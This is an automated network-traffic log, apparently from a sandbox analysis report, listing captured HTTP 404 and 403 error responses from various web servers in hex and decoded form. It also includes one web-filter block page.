Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:23:50 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-aliveKeep-Alive: timeout=119Server: VM-128-24-centosData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlAccept-Ranges: bytesServer: HFS 2.3mSet-Cookie: HFS_SID_=0.837759754853323; path=/; HttpOnly
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:23:54 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:23:58 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:24:01 GMTContent-Type: application/json; charset=utf-8Connection: keep-aliveContent-Length: 48X-Kong-Response-Latency: 0Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 6e 6f 20 52 6f 75 74 65 20 6d 61 74 63 68 65 64 20 77 69 74 68 20 74 68 6f 73 65 20 76 61 6c 75 65 73 22 7d Data Ascii: {"message":"no Route matched with those values"}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 02 Jan 2024 05:24:03 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveServer: Byte-nginxData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 17 Dec 2017 07:47:25 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:05 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:08 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 02 Jan 2024 05:24:11 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:03:11 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:24:18 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 45 32 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTE2</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:18 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:24:09 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 02 Jan 2024 05:24:23 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:24 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 45 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTE1</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:25 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3 (Ubuntu)Date: Tue, 02 Jan 2024 05:24:27 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Byte-nginxDate: Tue, 02 Jan 2024 05:24:27 GMTContent-Type: application/octet-streamConnection: keep-aliveByte-Error-Code: 0060Content-Length: 24via: cache05.sxtyct02x-request-ip: 212.102.41.2x-tt-trace-tag: id=5x-response-cinfo: 212.102.41.2x-response-cache: missData Raw: 31 32 37 2e 30 2e 30 2e 31 20 63 6f 6e 66 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 127.0.0.1 conf not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Tue, 02 Jan 2024 05:24:27 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 13:21:23 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3 (Ubuntu)Date: Tue, 02 Jan 2024 05:24:33 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Tue, 02 Jan 2024 05:24:40 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 02 Jan 2024 05:24:40 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
